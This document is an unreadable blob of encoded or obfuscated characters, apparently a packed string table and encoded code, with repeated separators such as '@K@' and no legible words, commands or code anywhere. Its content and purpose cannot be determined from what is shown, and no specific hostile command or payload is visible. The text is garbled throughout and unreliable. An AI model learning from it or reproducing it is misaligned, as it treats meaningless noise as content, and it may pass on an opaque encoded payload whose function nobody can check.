?240# U"5/4U 5U	T@K@D\,;;T7!^@K@D\,;;\DM7^\@K@Q3@K@";;"!,@K@XD^@K@	'E\)\U"5U'U"540# CCZ40# 4U 5U?E\)\U'<0V;;KCK0/<!P\<U?6<U	U5<K;;VK<U5U	U	@K@Q3@K@"^X@K@^T=E@K@	0'U	!TDU	DD4C878 8 ?0	@K@"!D="@K@E\M\!\;;=D!=@K@	=D!=;;7T\U"5IU"50'40 ?0	@K@77[;;PP\@K@	;;"!\;;!7"\!;;'\7M!])\\E?;;478)8 Q	@K@V;;KLZZ;;1B@K@	TP8DMP,"@K@)P^!=;;\"!"@K@,M=@K@";;E@K@	5	5ODD@K@	O"^;;@K@	^=\;;@K@";;)M\@K@\7MD7!@K@\7MD7!@K@K+@K@D\,;;T7!^@K@	U	U5<K+'UEUOUEUOUE?<U5U		@K@)=\,;;"SD<@K@7"\7T\@K@=D^7^\;;Y7ME7!\@K@7"\7T\@K@,M=@K@,M=@K@	5	)P^!="ODD@K@";;)M\@NKO@)M\" \@K@"!D="@K@K;;Z;;W@K@"!D="@K@K;;11;;W@K@K;;Z;;A1;;@K@E\M\!\;;=D!=@K@="\DD\\MP@K@=D!@K@PYFX,XG(P (S;;;;@K@3,^3[T!\ &3@K@)P^!=;;\"!"@K@F ;;MM  &![ 7EXSTY@K@=@K@"^;;==!;;!S@K@==!@K@M\,7^[;;!7S\=Y\@K@)P^!=;;\"!"@K@!"@K@";;77[@K@\,"!\;;"P!E=X;;)P^!=@K@M\@K@	O!7^^\""@K@)P^!=;;\"!"@K@P"\;;O)M\7T\@K@";;"!,@K@ME@K@!T@K@M\@K@OXD8=F\^!8^7^\8@K@"^;;D\""!;;T7)\"!@K@"!7!@K@" \@K@T!T\@K@D\,;;T7!^@K@	U]'UE?Q	@K@"P"!@K@"P"!@K@"P"!@K@";;)M\@K@)M\" \@K@";;)M\@K@)P^!=;;\"!"@K@ODD@K@	EODD@K@	)P^!="ODD@K@]@K@"P"!@K@]@K@]@NKO@D\""!@K@,@K@)M\;;,\!;;^=!\!"@K@!M@K@ODD@K@ODD@K@	7EY7^\E8^7^\ODD@K@K;;1@K@)M\;;,\!;;^=!\!"@K@D\,;;\DM7^\@K@)M\;;,\!;;^=!\!"@K@	KLK+UEUOUEUOUE	@K@"P"!@K@"!D="@K@	U2U	U5<K;;LK;;W'478 C88O;; ?<U5U	O52U	U5<K;;LK;;1U3<U5U	U2	"@K@	^7^\@K@	PDM=7E"	5	5	@K@,M=@K@	!\T\"	5	@K@XD8^MPE\"	@K@,M=@K@5ODD@K@XD8^MPE\"@K@	O,;;@K@Y7M@K@)P^!=;;\"!"@K@,M=@K@O,M;;@K@O,";;@K@O,S;;@K@O,D;;@K@O,!;;@K@O,T;;@K@O,Y;;@K@O,"P;;@K@O,E;;@K@	O,;;5ODD@K@O!7^^\""@K@)M\;;,\!;;^=!\!"@K@7P!=;;D\D\E;;)M\@K@	U2);@=EPM\<T=E;;DD48O 5UO^U"5DD;;Y7MP\<7P!=;;D\D\E;;)M\4U 5@K@4U 5UU	);@=EPM\U2	@K@	U2DD;;Y7MP\<7P!=;;D\D\E;;)M\4U 5@K@4U 5U2	@K@";;"!,@K@XD8^=),ODD@K@";;)M\@K@E7T\@K@	XD8^=),ODD@K@K;;VK@NKO@D\,;;\DM7^\@K@	4<U! 5E\)\U"5U'U"540# V;;KCK40# U"5/U"5!P\U"5U?U"56U"5U	U5<K;;VK<U5U	4<U! 5U2U2	@K@)M\T!T\@K@P"\;;O)M\7T\@K@OP"\O@K@)M\;;,\!;;^=!\!"@K@D\,;;\DM7^\@K@	7P!=;;D\D\E;;)M\U"5IO5@K@D\,;;P=!\@K@O5U	@K@77[;;E))@K@";;)M\@K@K;;Z@K@,&"9TFM^E"P(3(F.@K@K;;11@K@)!=S@K@"T=D;;E\M\!\@K@)P^!=;;\"!"@K@,\!;;=D!=@K@"^;;^77[@K@";;77[@K@!\T"@K@";;77[@K@!\T"@K@"^;;=^;;E7!;;=S@K@"^;;!;;E\7E@K@ M,TDE^PXX&F 97=S3!@K@"^;;,P7E@K@)P^!=;;\"!"@K@XD;;^M\7;;"^\EPM\E;;==S@K@Y.E[M!&9&\3.P,@K@"^;;^=;;,P7E@K@Y7ME7!\@K@ODD@K@"!M\@K@E;;T@K@	5<K;;1;;W@K@	5<K;;1;;1@K@E;;T@K@	U	U5<K;;1;;W'478 C88O;; 5@K@?<U5U	O52U	U5<K;;1;;1U3<U5U		"@K@"!D="@K@K;;1;;ALC11@K@D\,;;\DM7^\@K@	4<U! 5)U"5U'U"5E\)\EU"5U'U"54#0 K;;1;;ALC114#0 U"5U?U"5U?U"5\!PU"564UU 5	@K@K;;1A;;@K@TE@K@E;;!DM@K@"^;;M7"!;;)\!^;;!"@K@E;;!DM;;T"",@NKO@	U2DDU"5	@K@"!M\@K@^77[;;7T;;)7M@K@XD8^=!\!@K@	!\T\"	@K@,\!;;=D!=@K@	!Y;;@K@!\T\@K@Y7";;\"!=\E@K@"^;;!;;E\7E@K@CCZ@K@"^;;!;;E\7E@K@	5<K;;Z;;W@K@<5	@K@	5<K;;Z;;1@K@K;;ZA;;@K@"P"!@K@ODD@K@!\T\;;!DM;;T"",@K@D\,;;\DM7^\@K@)M=^S@K@!\T\@K@)P^!=;;\"!"@K@)M=^S@K@	!Y;;@K@O7S@K@!;;T@K@Y9(ES(TP3 !^DE.@K@D\,;;\DM7^\@K@	U	U	K;;Z;;A1;;478)8;; U2U4U 5Q	@K@!\T\@K@D^\;;)7M@K@"!D="@K@K;;Z;;W@K@K;;Z;;A1;;@K@=D7@K@";;"!,@K@2@K@!T@K@"!M\@K@O D@K@ODD@K@"^;;\TD![@K@DC^Y\@K@	PDM=7E"	@K@E7!\@K@
	T	@K@V;;KLZZ;;1B@K@)M\;;\"!"@K@)M\" \@NKO@XD;;\!;;"^\EPM\E@K@CCZ@K@=PM[@K@!T\@K@"^;;,P7E;;!\Y7M@K@^=;;"\!PD@K@XT!!)=[Y.(,.@K@XD8^MPE\"@K@";;)M\@K@)M\T!T\@K@	O,;;@K@";;)M\@K@!T\@K@";;)M\@K@TE;;)M\@K@"^;;,P7E@K@^=;;,P7E@K@CCZ@K@)M\" \@K@FX;;."9PFSFG9\@K@";;"!,@K@=D!@K@"!M\@K@)P^!=;;\"!"@K@7^!Y\;;DMP,"@K@;;77[@K@7^!Y\;;DMP,"@K@ODD@K@D\,;;T7!^@K@"P"!@K@TE@K@^=;;\^@K@"!@K@";;)M\@K@ZZ	3O3<GG<=!<%=PE@K@)P^!=;;\"!"@K@,\!;;=D!=@K@PDE7!\;;=D!=@K@=@K@!T\@K@=@K@D\,;;T7!^@K@	U"5'2U']U	U5]U	U	]Y7<]M\!<]^="!<])P^!=<]"\M)UO?	@K@	4C878 8U	IUU Q	@K@"!M\@K@"!M\@K@K=!\!8Z[D\<7DDM^7!=	F7Y7"^D!@K@\Y^\8V=S\8CMM=X\E<	@K@ZZ	3O3<G<=<K=!\!@K@"X;;^=),@NKO@ZZ;;%;;L;;;@CZK@K@ZZ	3O3<(G<=!<;@=E)\E@K@Z7,<@K@\Y^\8V=S\8CMM=X\E<	@K@K7^\8K=!=M<=8^7^\@K@Z7,<@K@"X;;\D@K@"^;;Y\)[@K@";;"!,@K@)P^!=;;\"!"@K@=T\;;PM@K@D7"\;;PM@K@)P^!=;;\"!"@K@,\!;;=D!=@K@"!\PM@K@ZZ;;LZ@K@";;"!,@K@	UEQ	@K@]Y\)[@K@"^;;"\T7!^;;D=\]@K@K=!\!8Z[D\<!\!	DM7@K@K7^\8K=!=M<=8"!=\@K@K;;;@@K@TE@K@K;;;@;;%CA@K@Y\)[;;\D@K@)P^!=;;\"!"@K@=^S\!;;^M\7;;E=T7@K@X(!^;;)MP";;7MM@K@",;;^7^\D\"";;DP,\;;^7^\@K@M!\"D\\E;;DP,\;;7MM@K@A!\D\\E;;K7^\;;C@K@A!\D\\E;;K7^\;;C@K@DP,\;;7MM@K@\\ \;;P,\K7^\@K@T\!=E;;\"!"@K@\\ \;;^7^\;;)MP"@K@T\!=E;;\"!"@K@^M\7;;!=!7M;;^7^\@K@XD)^;;^M\7;;7MM;;^7^\@K@";;=F\^!@K@E\M\!\K7^\@K@XD;;^7^\;;^M\7;;^7^\@K@7P!=D!T \K7^\@K@7P!=D!T \K7^\@K@^M\77MM@K@DP,\;;=;;F";;^7,\@K@";;7ET@K@XD;;E=,;;7F7@K@BZ;;BJNZ@NKO@:;@ABK;;BJNZ@K@";;)\\E@K@";;==!"@K@";;"!\T7D"@K@";;^P"!=T \;;D\Y\X@K@\M\T\!=8D\Y\X@K@^P"!=T \;;^7,\"\!;;PPE@K@)M;;PME\@K@"!;;\DM7^\@K@	"^D!@K@U	"^D!@K@=T\;;PM@K@)P^!=;;\"!"@K@,\!;;=D!=@K@PDE7!\;;=D!=@K@"^;;F";;D!;;=!\@K@"^;;F";;D!;;=!\@K@!T\@K@"^;;F";;D!\E@K@	=E[@K@!TM@K@"^;;F";;=@K@";;"!,@K@"^;;F"@K@"^;;F"@K@=;;"!7!@K@.^M\S\[937.&TS^9@K@D7,\=X@K@D7,\=X@K@XD8M=,ODD@K@"^;;"X;;M7"!;;PM@K@"^D!<E7!78"^8@K@Y7<EI)P^!='?-Y7<I##/6)='I6OM\,!6I?I!,O)=TK7K=E\'D7"\!'O"P"!'/?/3&??6\!P<R/@K@"XI7Y,7!=4E'#@K@"\Y^\V=S\@K@#? /@K@MPI@K@)'"X?"X4E'#@K@,\!B\,"!7!="@K@#? '?O!\')P^!='"?-"O)=7^')P^!='?-Y7<TIMP6@K@)'T?4E'#@K@7^!Y\@K@#?/E'#@K@X7!,@K@"!7MM,@K@#? O)=7^')P^!='S?-)'4S 4S 4E'#@K@"^D!NBA@K@#? IIIMP?TI3R?6@K@)'T?4E'#@K@P\,"!\@NKO@#? '?R?R?4E'#@K@^7!^@K@#? ')P^!='?-R?@K@	"^D!@K@"!;;\DM7^\@K@)P^!=;;\"!"@K@D7"\;;PM@K@!T@K@"^D!<E7!78"^8@K@Y7<EI)P^!='?-Y7<I##/6)='I6OM\,!6I?I!,O)=TK7K=E\'D7"\!'O"P"!'/?/3&??6\!P<R/@K@#? 6@K@)'"X?-@K@"X4E'#@K@,\!B\,"!7!=@K@#? '@K@F"=;;\^=E\@K@O!\')P^!='?-)'?"X4E'#@K@\,"!\@K@/-"^=D\@K@R?4E'#@K@^7!^@K@#? ')P^!='?-R?R?@K@4E'#@K@^7!^@K@#? ')P^!='?-R?6@K@7EEY\!A"!\\@K@#? 'E'#@K@T\""7,\@K@#?/)P^!='\?-@K@Y7<YI\4E'#@K@E7!7@K@#? 6@K@)'YYO^?-![-\X<%P^!='7!='YO^??'?R^7!^'?-RRR?6@K@\7E[@K@#? O!\')P^!='?-@K@4E'#@K@#? 4E'#@K@D="!;@\""7,\@K@#? '-!##R?R?R@K@"X;;\,@K@)M\T!T\@K@)M\;;,\!;;^=!\!"@K@V;;KLZZ;;1B@K@,M=@K@,M=@K@";;77[@K@";;77[@K@"P"!@K@";;77[@K@";;E@NKO@"P"!@K@ODD@K@)M\T!T\@K@)M\" \@K@"!D="@K@D\,;;T7!^@K@=D^7^\;;Y7ME7!\@K@"X\\D@K@7"\7T\@K@O=))@K@7"\7T\@K@ODD@K@	O"E;;@K@E7T\@K@TP8DMP,"@K@,\!;;=D!=@K@E7T\@K@7"\7T\@K@)P^!=;;\"!"@K@7^!Y\;;"!\XE\;;DMP,"@K@E7T\@K@	O7E;;@K@\DM=E\@K@^=P!@K@PMS@K@)P^!=;;\"!"@K@)M\;;DP!;;^=!\!"@K@)M\" \@K@D7!@K@\7MD7!@K@)P^!=;;\"!"@K@ODD@K@"P"!@K@TE@K@"^;;==!;;Y\@K@"^;;==!;;Y\@K@I@K@"^;;==!;;!S@K@K;;KLB;;LLZZBC1@K@"^;;==!;;!S@K@K;;KLB;;LLZ;;+B@K@"!7!,@K@P;;^7=\=Y.Y[SG"=!@K@S.",(P.P[M^[@K@CZ%L;;:ZL@K@,&3!",S;;!&SPXX")@K@\,"!\;;"P!E=X;;)P^!=@K@\,"!\;;"P!E=X;;)P^!=@K@7!G!XP) E"=@K@7YE!SM=T,^";;M,)@NKO@7"\7T\@K@!T@K@)M\;;,\!;;^=!\!"@K@E7T\@K@	O!;;@K@ODD@K@O=^);;@K@PMS@K@)3P 3FT3@K@F,);;F;;D=P@K@M=7E8DMP,"ODD@K@7ET;;!@K@![TG\,(Y^TTM=Y=9G@K@DTY[!S9[7GMP@K@F&9[GM9)=@K@))DYF="((S)@K@XD)T;;\M)E\;;^=\^!=;;=D!"@K@)[^"DX;;"!9"EF!TP;;@K@XD;;)M\;;T77,\;;^=\^!=;;=D!"@K@\M)E\;;^=\^!=;;=D!"@K@)[^"DX;;"!9"EF!TP;;@K@)M\;;T77,\;;^=\^!=;;=D!"@K@7P!\!^7!\@K@)P"D(33"^MS[9[,T@K@XD;;M=,@K@X7YFS73 &G,"@K@D\;;P"\;;P\[@K@F^;;7Y)M[G&()Y@K@\"!;;P"\;;P\[@K@^M(T!,)FM;;..EGSX@K@Y\X";;P"\"@K@F(^DD,Y&\3SSD @K@E\P,;;)=T7!=@K@X^T.7,F,99,,3@K@"=X;;7EY7^\E;;DMP,"@K@7X!=G(\ ",@K@7ET;;\7E8DMP,"ODD@K@;;)^;;T9G&G9\)DM\3,^=T@K@"!\;;!7"\!;;PDE7!\;;DMP,"@K@73"G^X9X=.^X=S^;;@K@7MM;;DMP,"@K@XD;;7F7;;TS;;)M\;;)=ME\;;T77,\@K@3"\E&[E^P@K@XD;;7F7;;^=\^!=@K@3"\E&[E^P@K@XD;;7F7;;)";;^=\^!=@K@3"\E&[E^P@K@XD;;)==!\@K@""D&F,SGE&T^@K@!\TDM7!\;;\E\^!@NKO@"S.&MG)ETXG(&M@K@7ET;;)==!\@K@\((FM""^PP!TSD@K@M=,;;)==!\@K@\((FM""^PP!TSD@K@S [F!E7"[^@K@F\^Y^ )[&3Y(@K@[(EXST!XX=,EP!G.!@K@7EF7F;;GF^[;;,Y\!@K@!7FT[X^X E="@K@E3;;XXX^FF[PT"3@K@![TG\,(Y^TTM=Y=9G@K@D^, ^D)^S3."FE@K@DMP,";;M=7E\E@K@ M,TDE^PXX&F 97=S3!@K@M&"MDP".=)3@K@M9FF7MTX,MG33@K@M97XTD3XX@K@MS)Y^,^^^"G@K@,\!;;=D!=@K@)P^!=;;\"!"@K@F[)S[ EF,\D@K@F;;(D"S3P!S(X,9@K@"EP,,TD\&="@K@)P^!=;;\"!"@K@PDE7!\;;=D!=@K@"^;;M7"!;;\^=Y\[;;^\^S@K@"^;;M7"!;;\^=Y\[;;^\^S@K@!T\@K@PTXMXXD@K@^=;;"^\EPM\"@K@F7!)=! F&9\"@K@DMP,";;M=7E\E@NN\	GC<C:\		GQ^	UOCNCZRQOCN\CZ@&%4@I@73/@I@8@I@@I@SITU@I@ @I@	@I@
0+@I@2 .)@I@#5@I@*HJ@I@@I@$(@I@"@I@;;Z@I@M@I@G1]@I@OL@I@N!@I@6,@I@;@K@I@W@I@[X@I@Y^PR@I@V_Q?@I@>=\@I@E<@I@:AF@I@9CD@I@-B@I@'@\CZ@C@I@Z"@I@^;;@I@Y\=@I@GO(@I@DM@I@P,@I@@I@7TV@I@ANW@I@1B@I@;@	8S@I@E!@I@[KL@I@X@I@UI@I@)5@I@<+@I@'@I@?%J@I@>0@I@/@I@2 @I@9@I@3.&:@I@
@I@F6-@I@#4@I@R @I@]Q@I@*H$_@\CZEE\OCZW\C[	OCN\CLLNCZOCKC<C:N\CIZOCZZZNXC<C:]C<C:\	GC\		G _	S^OCN	GQ^	UOCN\		G8T OCN	GQ^	UOCN\		GT
OCNCZCLW\	GQ^	UOCN\mm		GSVR^PTOC___8NC___8ZOOC___8NXC___8]WNLW\	GC___8M_\m		GPRRU

	UOCNCZOOCNXC]WNLW\	GCMS\mmGmmmGGGG	O8T OWNNGGGGG\mmGGG		GG _ Q	QTPONmGGGGGmGG	GGGGGGOC +(%&+4< _	S^OVN:NGXGC +(%&+4<T
OVN:GG]GGG8T OUN\mGGGGmGG		GGGGGVQ^^WWT
WONmGGGGGGGGm	GGGG88!.+"88\mmGGGGmGG		G_R T_R^ONmGmGGG	GQ^	UOTNOVQ^^WWT
WONN\mGGmG		GGGGGGWRQP^W^QWONmmGGOQ^	UOSNOQ^	UORNNNGGG	G 	8	
OVQ^^WWT
WONN\mmCU
V

PGGGGGGZGVQ^^WWT
WON\mGmmGGGC 
_
W VVRGGGGZGG	OQ^	UOQNNGGGGGXGGGGGG0787+2 .)8#.5G]GGGGEE\mGGGGOC 
_
W VVRGGFZZGGEEGGGGGAAGGGGG _	S^OPNOCU
V

PKGGGGC 
_
W VVRNGGZZZGGGWNGGGG	G8T O_NO8T O^NOCU
V

PKGGGGT
OVWNOC 
_
W VVRNNKGG@H@N\m	GGG _	S^OTNO8T OVVNOCU
V

PNNGGGGIGG@H@GGGGGIGG _	S^OVUNOCU
V

PN\mGGmGG		GGGGG8^	_SWW	ONmGmHHG	G	 G mmmm	GGQ^	UOVTNO	OT
OVSNNGGGXG07*287+2 .)8#.5GGG]GO078$()3")38#.5GIGT
OVRNNKGGG@H@N\mmmmGGGGm		G	^P RONmGmGG	GGQ^	UOVVNOVQ^^WWT
WONN\mGGGmG		GGG8	VSS OC	VSWQTKGGGCPVR^
	Q^PGZGOVQULTTVNKGCUVS^RPQGZGGGGNmmGGGG	GGQ^	UOSNOQ^	UOVQNNGXGGGGG'Q^	UOVQNOC	VSWQTKGGCPVR^
	Q^PKGGGCUVS^RPQNGGG]GG\mGmGG		GT8OCT
TUP	VKGGCPVR^
	Q^PNmmmmmmGGG	GG _	S^OVPNO8T OV_NNGGXGGGG' _	S^OV_NOCT
TUP	VKGGGCPVR^
	Q^PNGG]GGGG\mGGGmGG		GGGWT	OCT
TUP	VNmGGmHHG
	
GJGG07G G%mCW8PUZ7/78.)38*&?H7/78.)38*&?\C8	ZCW8PULRT\m	GGGT
OVPNOT
OV^NNGGGGXGG' _	S^OV^NOCT
TUP	VNGG]G\mmmmGGGGGmGGG		GGGGGWWSPP	8T_ OCT
TUP	VKGCU NmmmGGGGGGmmGG	GGGT
OUWNOT
OUVNNGXG'8T OUVNOCT
TUP	VKGGCU NGGGGGG]GGGGG\mGGGmG		GG^SSSVTOCT
TUP	VNmmmGmmmmGGGC88WSGZGGVSQON\mG	GGWWSPP	8T_ OCT
TUP	VKGGGGGOC88WSGGJGOC88WSGBGGGGGO^^^RULS_NNNGLGGSQQ
SUONN\mmG		GGPRW8UOC	QWS_P_KGGGCVNmGGGGGGGCR^
UZ^M_\CT^Q8_ZCR^
UJVU\mGGGGGG	GGGGT
OUUNO _	S^OUTNNGXG'T
OUTNOC	QWS_P_KGCVNGG]G\C	VSQZSVM^\C	W	
ZC	VSQJV_\mGmGGGG		GPQ WOC	QWS_P_KGGGCVNmGGGm	GGGG8T OUUNOT
OUSNNGGGGGXG'T
OUSNOC	QWS_P_KGGCVNG]GGGG\mGGGmGGGGG		GGGGG8QQ	TS8VQWQOC	VSWQTKGGCT
TUP	VNmm	G _	S^OURNOQ^	UOUQNNGGXGGG' _	S^OUQNOC	VSWQTKGCT
TUP	VNG]GG\mmmGmG		GG
 8V ONmmGGGGmGGCPU ^GZGG	\mGGGGOCPU ^GFZZG	NGGG	GGGGGCPU ^\mGGGGCPU ^GZGGT
OURNO8T OUPNNGXGG _	S^OU_NONGGG]GGGGT
OU^N\C  	T_8QZ^RMQ\CR

S ZC  	T_8QJ^\mGGGGGO'8T OTWNOCPU ^NGGAAGGG'Q^	UOTVNOCPU ^NNGGGG	GGCPU ^\mGGGGGGGC
U WWGGGGGGZGG	O8T OTUNNGGXG078$()3")38#.5G]GGGO	O8T OWNNGXGGGGG&%47&3/GGIG _	S^OTTNGG]GGEEN\mGGGGGGOC
U WWGGFZZGGGGGEENGGGmGCU
V

PGGZGGQ^	UOVTNOC
U WWKGG _	S^OTSNNGGIGT
OTRN\mGGGGGOF'8T OTWNOCU
V

PNNGG'8T OVQNOCU
V

PKGGGOSTQLRPNKGGN\mmGGGGGGO'T
OTWNOCU
V

PNGGGGGAAGGG'T
OTVNOCU
V

PNNGGGmGGGGO8T OURNO _	S^OTQNNNGGGG'	OQ^	UOTPNGGIGCU
V

PN\mGGGGGGC +(%&+4<8T OT_N:GZGGV\mGGGGGCPU ^GZGGGGGCU
V

P\mGmGGGGGmmmG	GGCPU ^\mGGGmGGGGGGG		GTV^T8V	_
ONmGGGmGGC	VSWQTGZG	^P RON\mGCPVR^
	Q^PGGZGGG8^	_SWW	ON\mHHG7/7G_ISGG	 G	mmGGGGGGOC	VSWQTGZZZGGGGGCPVR^
	Q^PNG	G\mGGGGGOQ^	UOT^NOT
OSWNNNGmmmmGGGCS   V
GZG'T
OSVNOC	VSWQTN\mmmmGGCPTGZGGGG'Q^	UOSVNOCPVR^
	Q^PN\mG	GGGOCS   V
GFZZGGGGGGAAGCPTGFZZGGGGAAGCS   V
GZZZGGGCPTN\mGGmmmGGGGG	GGG\mGGGmG		GGSQQ
SUONmGGGmG	GGO^TPS_LPVN\mGmG		GGGGGGTUVQQWU^8UONmGGGGGGGGmGGGGGOF	O _	S^OWNNNGGGG	GGGEE\mmGGGC
U WWGGZGG	OT
OSUNNGGGGGXGGG078$()3")38#.5GG]GG&%47&3/GGIGGG8T OTTN\mG	G8T OVTNOC
U WWKGGGT
OTSNNGIG8T OSTNGGGIGGGGG _	S^O^NO8T OSSNO&%47&3/GIGG8T OSRNNKGWKGGOWPLWVNNGGIGG8T OSQNGGIGGGG8T O^NO _	S^OSSNO&%47&3/GIG8T OSPNNKGGWKGGOURW9USUNNGIGGG _	S^OS_N\mGm		GGGGGGW WP	OCWSV 	GGGGGGZGGGGGG	NmGGGGGGmGGCT
TUP	VGGGGZGGTUVQQWU^8UON\mGGGGGGGGGOCT
TUP	VGGZZZGGEENGG	GGGGG\mGGGGGGOFQ^	UOS^NOCWSV 	NGGGGGT
OVWNOCWSV 	NGGG[GGOSTVLQ^NNGCWSV 	GGZGGGGGG	
UVUON\mGGGGOFCWSV 	GGGGGGFR	^W8POCWSV 	NNGGG	G\mGGGGGC	VSWQTGZGGT
OVVNOCT
TUP	VN\mmmGGGGGOF'Q^	UORWNOC	VSWQTNNG8	VSS OC	VSWQTKGGOSV_LPRNKGGGN\mGGGGOF'8T ORWNOC	VSWQTNGGGGGGGF'T
OTVNOC	VSWQTNNG	G\mGGGGGGGGGO'T
ORVNOCT
TUP	VNNGGGGGGmmmGGGGGGGGOT
OSSNO8_PRSPOO	 NGGGGG'T
ORUNOCT
TUP	VNNNGZZZG8T OSSNOCWSV 	NNGG	GGG\mGGGC
GGGZGGV8W
	 ROCT
TUP	VN\mGGGOC
GGFZZGGGG	GAAGG	8
OC
KGG _ Q	QTPONKGGGGG@Y@NNGGG	GGGGGG\mG	OC
N\mGGGGGmGGGOFTST		RVOCT
TUP	VKGGCWSV 	NNGG	GGG\mGGT8OCT
TUP	VKGOTTTL_PNN\mW^SS^8OCT
TUP	VN\mGGGGGGGG	GGG\mmG		GGG QUP UP

 WONmGGGmGGCWSV 	GZGGGGG	
UVUON\mmmmGGGGGGGGGGGGOFCWSV 	GGGGFR	^W8POCWSV 	NNGGGGGG	GG\mmmGCUWGGGZGGGGG8T OVUNOVQ^^WWT
WONKGGGGT
OS_NN\CRRTTUZ7/78.)38*&?H7/78.)38*&?\C__TS_ QZCRRTTULVP\mGCS VQWGZGG8T ORTNO _	S^ORSNNGXGGGUP_W
_^ONGGGGG]GO	OT
OSUNNGGXGGG078$()3")38#.5GGGG]GEEN\mGGOCS VQWGZZZGEENGGGG	G\mmGC 
_
W VVRGGGZGCS VQWGGGIGQ^	UORRNGGIGGCUW\mGGGGGGGC
   GGZGC 
_
W VVRGIGGGG@H@GGIGGGCUWGGGIGG _	S^OS_N\mmmGGGCQRT_GGZGGG\mGGGGO _	S^ORTNO8T OSVNNNGGmC	RTU
UGZG'T
OSVNOC
   N\mGGGGGC
 8UW	^Q
GGGGGZGG'T
ORQNOVQ^^WWT
WONN\mCQRT_GZGGGO8T OS^NOC	RTU
UNGAAGGGG8T OS^NOC
 8UW	^Q
NGGGGGAAGGGGGC	RTU
UGGGGZZZGC
 8UW	^Q
N\mmmGGOFCQRT_NGGGmGGGGOF'T
ORWNOC 
_
W VVRNNGGGG8	VSS OC 
_
W VVRKGGOSPPLVQNKGGN\mmmmGGGGGOF' _	S^ORWNOC 
_
W VVRNGGGGGGGF' _	S^OTVNOC 
_
W VVRNNGG	GG\C^	^VQ
Z7/78.)38*&?H7/78.)38*&?\CZC^	^VQ
LUP\mGGGGGGGGOF'8T ORVNOC
   NGGGT
ORPNO8_PRSPOO	 NGGG'8T OR_NOC
   NNNGGFZZGT
OR^NOCWSV 	NNGmGGO'Q^	UORVNOC
   NNGGGGmGGGGGC
GGZGGGGV8W
	 ROC
   N\mGGGGGOC
GGGFZZG	GGAAGGG	8
OC
KGGG _ Q	QTPONKGGG@Y@NNG	GG\mGGGGG	OC
N\mGGGmHHG
GJmmmmmGGGGGGGGOFTST		RVOC
   KGGGT
VR	OCWSV 	NNNGGGGG	GGG\mT8OC
   KGOTSTLPPNN\mmG^SSSVTOC
   N\mGW^SS^8OC
   N\C
W^TR8Z7/78*&-(581"54.()\C8V	VZC
W^TR8MV\mGGmmmGGGO8T ORTNO _	S^OQWNNGGGGAAGGQ^	UOQVNO _	S^OQUNNNGGmCRTSSSVGGZGGCUWGGIGG@H@GGGIGGCUWGIGGQ^	UOS_N\mC_S^8PGGGGZGG 8	O _	S^OQTNKGGGGONN\mGGOFT
OQSNOC_S^8PNNGGGC_S^8PGGGZGGON\mGGGGGGGGGOF8T OQRNOCRTSSSVKGGGC_S^8PKGGNNGmGC_S^8P<:GZGGCRTSSSV\mmmGG8	O _	S^OQTNKGGGGQ^	UOQQNOC_S^8PNN\mGGGGGGmGGGGmmmm	GGG\mmmmGGGGGmGGGG		GV8W
	 ROCT
TUP	VNmmGGGGGGGGCUWP_UVGGZGGGG'T
OQPNOCT
TUP	VKGGKGGG	KGGGWKGGOWUPLW_TNN\mGGGGOFQ^	UOQ_NOCUWP_UVNNGG	G	\mGGGGO _	S^OQ^NOQ^	UOPWNKGGGCUWP_UVKGCPVR^
	Q^PNNG	GCPVR^
	Q^P<V:\mG	GGGG	\mGGGGGGmGGmGGG		GGGGGG^8TOC_KGGC
V	T
  NmGGmHHG	G	Gmm'OKGGGGGGC_N\mmmGGGGGC	V^SGGGGGGZGGGG'8T OPVNOC_N\mGGOFC	V^SGGGOC	V^SGGBGO^^^^WLVWNNGFZZGGSQQ
SUONNGmHHG07G%	G%]GGJmmGGGG	GGG\mmmmGGGGGGGmGGGC

^W UGGGZGG'T
OPUNOC_N\mG	GGC

^W UGGAAGC

^W UGGGYZGGGC
V	T
  \mGm		GRW	PTWUONmmmmGmGGG	GGGOTR^P^LUVN\mmGG		G	U
WPU_ONmGGGGGm	GG8T OPTN\mmGGGG		GGGV8 ^PRRPWONmGGGGGGGGmGGGG	GGGGG8T OPSN\mGmGGG		GGGGGVWV
R^^ ^VONmmmGmmGGGGGGO _	S^OQVNO _	S^OPRNNNGGGGGG	G\mGGGGGO
QPSPRONNGG	GGGG\mGGGGGGGCWRPGGGZGGOC84"51"5<Q^	UOPQN:NGXGGGGG8T OPPNOO	 NGGGGC84"51"5<T
OP_N:NGG]GGEE\mGGGGGOCWRPGGFZZGGGGEEGGAAGGGGOQ^	UOPNOCWRPKGG8T OP^NNGGFZZGGGGGGGG _	S^O_WNOCWRPKGGGG _	S^O_VNNGGFZZGGGGGGGGG8T O_WNOCWRPKG _	S^O_UNNGFZZGGGGGNNGGG	GG\mGGGGGGOCWRPGZZZGEEGGGAAGG _	S^O_TNONGGFZZGGGGG8T O_SNGGGGAAGGOC84"51"5<T
O_RN:NNGGG	GGGGG\mG	G\mmmGGGmGGGGGG		GGGG
QPSPRONmCST^UZ7/78.)38*&?H7/78.)38*&?\C
STQZCST^ULQ\mGGGCWRPGGGZGGOC84"51"5<T
OP_N:NGGGXGGGC84"51"5< _	S^O_QN:GG]GGGEE\mmGGGGGGG	GGQ^	UOQ_NOCWRPNGGGAAGGOCWRPKGGGQ^	UO_PNNGFZZG\mGGGGGm		GGGG

S8OC	W_W_NmGGmGGCP V8

GZGG8T OQVNOQ^	UO__NNGGXG'T
O_^NOT
O^WNNG]G\mmmGGGGGGGGOFCP V8

GGGGGGGGCP V8

GGZZZGEENG	G\mGCRW
UGZGGGG'Q^	UO^VNOC	W_W_N\mGGGGGOFCRW
UNGGGCRW
UGZGC	W_W_\CU	8ZJ_U\CWZOCU	8YWNXCU	8]JCU	8\mmGGGO8T O^UNO7&3/84"7&5&3(5KGGGCP V8

NGGGGGCPVWNGmGCPVWGZGGG8T OVTNOCPVWKGGQ^	UOTSNN\mGGGOCPVWGAAGGGGGGOCRW
UGGGZZZGGGGCPVWGGG _	S^O^TNOCRW
UKGCPVWGIGGGGG#.5"$3(5>84"7&5&3(5NGGZZZGGGGWNNGGGGG	GG\mGGGmGGGGGGGG	GGG\mGGGmGG		GG	U8VPTTOC	WQ_WV
NmmGGGGGGmCWRR8_GGGZGGGGC	WQ_WV
GIG@@GGIGO	O8T O^SNNGGXGGG#%8)&*"G]GGGEENGGIGGG@@GIGGGGGO	OQ^	UOWNNGGGGXGG&%47&3/GG]GEEN\mmmG	GG _	S^O^RNOCWRR8_N\mmmGGGGGGGGmGGGGG		GGGG
^PURR^_Q
^	SVOC	WQ_WV
